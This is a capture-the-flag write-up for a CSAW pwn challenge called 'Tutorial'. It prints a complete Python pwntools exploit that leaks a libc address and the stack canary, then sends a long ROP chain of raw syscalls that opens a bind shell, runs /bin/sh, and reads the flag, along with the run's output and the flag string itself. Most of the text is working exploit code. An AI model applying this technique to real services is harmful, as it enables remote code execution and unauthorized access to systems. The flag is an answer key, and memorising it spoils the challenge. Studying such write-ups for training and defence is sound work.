Tutorial
Ok sport, now that you have had your Warmup, maybe you want to checkout the Tutorial.
nc pwn.chal.csaw.io 8002
Solution
Write up by: SneakyNachos
This one I decided later on to redo and just go all out with the rop chain out of boredom.
After setting up the service on a remote vm with the same libc I decided to check what the output was.
$ nc 192.168.56.102 54321
-Tutorial-
1.Manual
2.Practice
3.Quit
>
After typing "1" a reference is dumped
>1
Reference:0x7f5635853860
-Tutorial-
1.Manual
2.Practice
3.Quit
>
Looking into the binary this location seems to be a dump of the glibc's puts function location. This will allow us to bypass ASLR.
After typing "2" it seems they just want a payload. Examining further into the defenses the binary also has the stack canary on and DEP as well.
So that means they must have a cookie dump in option '2'. My guess was that they didn't append the null byte correctly and the dumped the stack in a print.
Here's a test script to see if that hunch was correct. I also went ahead and added the glibc address extraction to the script as well.
from pwn import *
def main():
#Test Connection
HOST = "192.168.56.102"
PORT = int(raw_input("PORT:").rstrip("\n"))
#HOST = "pwn.chal.csaw.io"
#PORT = 8002
r = remote(HOST,PORT)
payload = "A"*300
#Dump output from service
for x in xrange(0,4):
print r.recvline()
#Extract/strip/calculate the libc starting address
r.sendline("1")
reference = r.recvline()
libcadr = int(reference.split(":")[1].strip('\n'),0)-456800
print hex(libcadr)
#Get the cookie
r.sendline("2")
print r.recvline()
for x in xrange(0,4):
print r.recvline()
r.sendline(payload)
#Spacing
r.recvline()
#Mem dump of cookie
memdump = r.recvline()
#Strip the cookie out
memdump = memdump.rstrip("-Tutorial-\n")
cookie = struct.unpack("<Q",memdump[len(memdump)-12:len(memdump)-4])
print hex(cookie[0])
#Spacing
for x in xrange(0,3):
print r.recvline()
cookie = struct.pack("<Q",cookie[0])
main()
Running this outputs
$ python s2.py
PORT:54321
[+] Opening connection to 192.168.56.102 on port 54321: Done
-Tutorial-
1.Manual
2.Practice
3.Quit
0x7f56357e4000
-Tutorial-
1.Manual
2.Practice
3.Quit
>Time to test your exploit...
0x55d60df6b3385400
[*] Closed connection to 192.168.56.102 port 54321
Cool now we have the defeat to the stack canary and ASLR. Now to defeat DEP.
What I did now was then use ROPgadget to dump the all the gadgets out of the libc. ROPgadget --binary libc-2.19.so > gadgets.txt
My rop chain goal was to initiate a bind-shell on their system and print the flag.
First I needed more space. Looking at the registers right before the crash I noticed that after the last read that most of the piping was intact.
This means I could reuse most of the registers and consume more into the stack then initially meant to.
Addition to s.py
#read(pipe,stack,0x700)
init = ''
init += struct.pack('<Q',libcadr+0xbcdee) # xor eax,eax; pop rdx; ret
init += struct.pack('<Q',0x700) #Rop chain size
init += struct.pack("<Q",libcadr+0xc1d05) # syscall; ret
With the above gadgets I now forced the new read to take in 0x700 from the original pipe and consume more data into the stack.
Now to make the payload.
Additon to s.py
payload = "A"*(300)+"B"*4+"C"*4+"D"*4+cookie+"E"*4+"F"*4+init
The above pops the overflow uses the cookie to bypass the stack canary and then uses the rop gadgets to consume more from the pipe to allow another payload.
Now I just needed a bindshell made entirely out of rop gadgets.
The first part would be to make the socket call
p = ''
p+= struct.pack('<Q',libcadr+0x00000000000b4a21) # xor edx, edx ; add rsp, 8 ; mov rax, rdx ; ret
p+= struct.pack('<Q',0x4141414141414141) #Pad
p+= struct.pack('<Q',libcadr+0x000000000003763d) # xor eax, eax ; nop ; ret
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x29) # rax = 0x29
p+= struct.pack('<Q',libcadr+0x00024885)#pop rsi
p+= struct.pack('<Q',0x1) # rsi = 0x1
p+= struct.pack('<Q',libcadr+0x00022b9a)#pop rdi
p+= struct.pack('<Q',0x2) # rdi = 0x2
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret Socket(2,1,0)
Next we write the socket structure to the .data section of glibc
#Write socket data
p += struct.pack('<Q', libcadr+0x000bcdf0) # pop rdx; ret
p += '\x02\x00\xe0\x15\x00\x00\x00\x00' # Type 2, port 57365
p += struct.pack('<Q', libcadr+0x0000000000022b9a) # pop rdi ; ret
p += struct.pack('<Q', libcadr+0x00000000003be080) # @ .data ; rdi = .data
Now the bind system call to use the newly setup socket structure
#Setup bind syscall
p += struct.pack('<Q', libcadr+0x1fca7)# mov qword ptr [rdi], rdx ; ret
p += struct.pack('<Q', libcadr+0x24885)# pop rsi ; ret
p += struct.pack('<Q', libcadr+0x3be080) # @ .data
p += struct.pack('<Q',libcadr+0x1960d7) # xchg eax, edi ; ret
p += struct.pack('<Q',libcadr+0x000bcdf0) # pop rdx; ret
p += struct.pack('<Q',0x10) # rdx = 0x10
p+= struct.pack('<Q',libcadr+0x000487a8) #pop rax, ret
p+= struct.pack('<Q',0x31) # rax = 0x31
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret Bind(fd,.data,16)
Once the bind is complete the system call will return a file descriptor to listen on.
So now we create a listen.
p+= struct.pack('<Q',libcadr+0x0000000000110cef) # xchg eax, esi ; ret
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x32) # rax = 0x32
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret Listen(fd)
Now we do the accept call.
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x2b) # rax = 0x2b
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret
Now we just have to dup stdin and stdout so that we can communicate.
I took a guess here and decided I needed like three dup2 calls to make this work and since the eax had the file descriptor I could just step backwards and exchange with esi to cheat the lack of rop gadgets I had.
p += struct.pack('<Q',libcadr+0x00000000001960d7) # #xchg eax, edi ; ret
p+= struct.pack('<Q',libcadr+0x00024885)#pop rsi
p+= struct.pack('<Q',0x2) # rsi = 0x2
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x21) # rax = 0x21
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret
p+= struct.pack('<Q',libcadr+0x0000000000110cef) # xchg eax, esi ; ret
p+= struct.pack('<Q',libcadr+0x000000000003851f)# : sub eax, 1 ; ret
p+= struct.pack('<Q',libcadr+0x0000000000110cef) # xchg eax, esi ; ret
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x21) # rax = 0x21
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret
p+= struct.pack('<Q',libcadr+0x0000000000110cef) # xchg eax, esi ; ret
p+= struct.pack('<Q',libcadr+0x000000000003851f)# : sub eax, 1 ; ret
p+= struct.pack('<Q',libcadr+0x0000000000110cef) # xchg eax, esi ; ret
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x21)
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret
Now we just needed to get '/bin/sh' to run once we connect to the target system.
Once again I used the glibc data section to write '/bin/sh' to memory and just pointed execve's arguments to that newly written glibc data section.
p += struct.pack('<Q', libcadr+0x0000000000022b9a) # pop rdi ; ret
p += struct.pack('<Q', libcadr+0x00000000003be080+16) # @ .data
p += struct.pack('<Q', libcadr+0x000000000001b290) # pop rax ; ret
p += '/bin//sh' # rax = '/bin/sh'
p += struct.pack('<Q', libcadr+0x0000000000091c99) # mov qword ptr [rdi], rax ; pop rbx ; pop rbp ; ret
p += struct.pack('<Q', 0x4141414141414141) # padding
p += struct.pack('<Q', 0x4141414141414141) # padding
p += struct.pack('<Q', libcadr+0x0000000000022b9a) # pop rdi ; ret
p += struct.pack('<Q', libcadr+0x00000000003be088+16) # @ .data + 8
p += struct.pack('<Q', libcadr+0x0000000000088b75) # xor rax, rax ; ret
p += struct.pack('<Q', libcadr+0x0000000000091c99) # mov qword ptr [rdi], rax ; pop rbx ; pop rbp ; ret
p += struct.pack('<Q', 0x4141414141414141) # padding
p += struct.pack('<Q', 0x4141414141414141) # padding
p += struct.pack('<Q', libcadr+0x0000000000022b9a) # pop rdi ; ret
p += struct.pack('<Q', libcadr+0x00000000003be080+16) # @ .data
p += struct.pack('<Q', libcadr+0x0000000000024885) # pop rsi ; ret
p += struct.pack('<Q', libcadr+0x00000000003be088+16) # @ .data + 8
p += struct.pack('<Q', libcadr+0x0000000000001b8e) # pop rdx ; ret
p += struct.pack('<Q', libcadr+0x00000000003be088+16) # @ .data + 8
p += struct.pack('<Q', libcadr+0x0000000000088b75) # xor rax, rax ; ret
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x3b)
p += struct.pack('<Q', libcadr+0x000000000000269f) # syscall
Now to setup the sends for this large payload.
r.sendline("2")
for x in xrange(0,1):
print r.recvline()
r.sendline(payload)
r.sendline("B"*len(payload)+p)
#HOST = "192.168.56.101"
PORT = 57365
r = remote(HOST,PORT)
r.sendline("whoami")
print r.recvline()
r.sendline("ls")
print r.recvline()
r.sendline("cat flag")
print r.recvline()
The final script should now look like.
from pwn import *
def main():
#Test Connection
HOST = "192.168.56.102"
PORT = int(raw_input("PORT:").rstrip("\n"))
#HOST = "pwn.chal.csaw.io"
#PORT = 8002
r = remote(HOST,PORT)
payload = "A"*300
#Dump output from service
for x in xrange(0,4):
print r.recvline()
r.sendline("1")
#Extract/strip/calculate the libc starting address
reference = r.recvline()
libcadr = int(reference.split(":")[1].strip('\n'),0)-456800
print hex(libcadr)
#Get the cookie
r.sendline("2")
print r.recvline()
for x in xrange(0,4):
print r.recvline()
r.sendline(payload)
#Spacing
r.recvline()
#Mem dump of cookie
memdump = r.recvline()
#Strip the cookie out
memdump = memdump.rstrip("-Tutorial-\n")
cookie = struct.unpack("<Q",memdump[len(memdump)-12:len(memdump)-4])
print hex(cookie[0])
#Spacing
for x in xrange(0,3):
print r.recvline()
cookie = struct.pack("<Q",cookie[0])
#Rop chain for extra space for the next bindshell rop chain
#read(pipe,stack,0x700)
init = ''
init += struct.pack('<Q',libcadr+0xbcdee) # xor eax,eax; pop rdx; ret
init += struct.pack('<Q',0x700) #Rop chain size
init += struct.pack("<Q",libcadr+0xc1d05) # syscall; ret
#initial payload
payload = "A"*(300)+"B"*4+"C"*4+"D"*4+cookie+"E"*4+"F"*4+init
#Final payload - bindshell
p = ''
p+= struct.pack('<Q',libcadr+0x00000000000b4a21) # xor edx, edx ; add rsp, 8 ; mov rax, rdx ; ret
p+= struct.pack('<Q',0x4141414141414141) #Pad
p+= struct.pack('<Q',libcadr+0x000000000003763d) # xor eax, eax ; nop ; ret
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x29) # rax = 0x29
p+= struct.pack('<Q',libcadr+0x00024885)#pop rsi
p+= struct.pack('<Q',0x1) # rsi = 0x1
p+= struct.pack('<Q',libcadr+0x00022b9a)#pop rdi
p+= struct.pack('<Q',0x2) # rdi = 0x2
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret Socket(2,1,0)
#Write socket data
p += struct.pack('<Q', libcadr+0x000bcdf0) # pop rdx; ret
p += '\x02\x00\xe0\x15\x00\x00\x00\x00' # Type 2, port 57365
p += struct.pack('<Q', libcadr+0x0000000000022b9a) # pop rdi ; ret
p += struct.pack('<Q', libcadr+0x00000000003be080) # @ .data ; rdi = .data
#Setup bind syscall
p += struct.pack('<Q', libcadr+0x1fca7)# mov qword ptr [rdi], rdx ; ret
p += struct.pack('<Q', libcadr+0x24885)# pop rsi ; ret
p += struct.pack('<Q', libcadr+0x00000000003be080) # @ .data
p += struct.pack('<Q',libcadr+0x00000000001960d7) # xchg eax, edi ; ret
p += struct.pack('<Q',libcadr+0x000bcdf0) # pop rdx; ret
p += struct.pack('<Q',0x10) # rdx = 0x10
p+= struct.pack('<Q',libcadr+0x000487a8) #pop rax, ret
p+= struct.pack('<Q',0x31) # rax = 0x31
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret Bind(fd,.data,16)
p+= struct.pack('<Q',libcadr+0x0000000000110cef) # xchg eax, esi ; ret
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x32) # rax = 0x32
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret Listen(fd)
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x2b) # rax = 0x2b
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret
p += struct.pack('<Q',libcadr+0x00000000001960d7) # #xchg eax, edi ; ret
p+= struct.pack('<Q',libcadr+0x00024885)#pop rsi
p+= struct.pack('<Q',0x2) # rsi = 0x2
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x21) # rax = 0x21
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret
p+= struct.pack('<Q',libcadr+0x0000000000110cef) # xchg eax, esi ; ret
p+= struct.pack('<Q',libcadr+0x000000000003851f)# : sub eax, 1 ; ret
p+= struct.pack('<Q',libcadr+0x0000000000110cef) # xchg eax, esi ; ret
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x21) # rax = 0x21
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret
p+= struct.pack('<Q',libcadr+0x0000000000110cef) # xchg eax, esi ; ret
p+= struct.pack('<Q',libcadr+0x000000000003851f)# : sub eax, 1 ; ret
p+= struct.pack('<Q',libcadr+0x0000000000110cef) # xchg eax, esi ; ret
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x21)
p += struct.pack('<Q',libcadr+0x00000000000c1d05) # syscall; ret
p += struct.pack('<Q', libcadr+0x0000000000022b9a) # pop rdi ; ret
p += struct.pack('<Q', libcadr+0x00000000003be080+16) # @ .data
p += struct.pack('<Q', libcadr+0x000000000001b290) # pop rax ; ret
p += '/bin//sh' # rax = '/bin/sh'
p += struct.pack('<Q', libcadr+0x0000000000091c99) # mov qword ptr [rdi], rax ; pop rbx ; pop rbp ; ret
p += struct.pack('<Q', 0x4141414141414141) # padding
p += struct.pack('<Q', 0x4141414141414141) # padding
p += struct.pack('<Q', libcadr+0x0000000000022b9a) # pop rdi ; ret
p += struct.pack('<Q', libcadr+0x00000000003be088+16) # @ .data + 8
p += struct.pack('<Q', libcadr+0x0000000000088b75) # xor rax, rax ; ret
p += struct.pack('<Q', libcadr+0x0000000000091c99) # mov qword ptr [rdi], rax ; pop rbx ; pop rbp ; ret
p += struct.pack('<Q', 0x4141414141414141) # padding
p += struct.pack('<Q', 0x4141414141414141) # padding
p += struct.pack('<Q', libcadr+0x0000000000022b9a) # pop rdi ; ret
p += struct.pack('<Q', libcadr+0x00000000003be080+16) # @ .data
p += struct.pack('<Q', libcadr+0x0000000000024885) # pop rsi ; ret
p += struct.pack('<Q', libcadr+0x00000000003be088+16) # @ .data + 8
p += struct.pack('<Q', libcadr+0x0000000000001b8e) # pop rdx ; ret
p += struct.pack('<Q', libcadr+0x00000000003be088+16) # @ .data + 8
p += struct.pack('<Q', libcadr+0x0000000000088b75) # xor rax, rax ; ret
p+= struct.pack('<Q',libcadr+0x000487a8)#pop rax, ret
p+= struct.pack('<Q',0x3b)
p += struct.pack('<Q', libcadr+0x000000000000269f) # syscall
r.sendline("2")
for x in xrange(0,1):
print r.recvline()
r.sendline(payload)
r.sendline("B"*len(payload)+p)
#HOST = "192.168.56.101"
PORT = 57365
r = remote(HOST,PORT)
r.sendline("whoami")
print r.recvline()
r.sendline("ls")
print r.recvline()
r.sendline("cat flag")
print r.recvline()
pass
main()
Now for the testing.
$ python s.py
PORT:54321
[+] Opening connection to 192.168.56.102 on port 54321: Done
-Tutorial-
1.Manual
2.Practice
3.Quit
0x7f56357e4000
-Tutorial-
1.Manual
2.Practice
3.Quit
>Time to test your exploit...
0x55d60df6b3385400
1.Manual
2.Practice
3.Quit
>Time to test your exploit...
[+] Opening connection to 192.168.56.102 on port 57365: Done
tutorial
flag
FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}
[*] Closed connection to 192.168.56.102 port 57365
[*] Closed connection to 192.168.56.102 port 54321
Not to shabby for a monster of a rop chain.
Testing on their system took me about six tries of changing the bind-shell port probably because someone was already using the port to communicate with the box.
Flag
FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}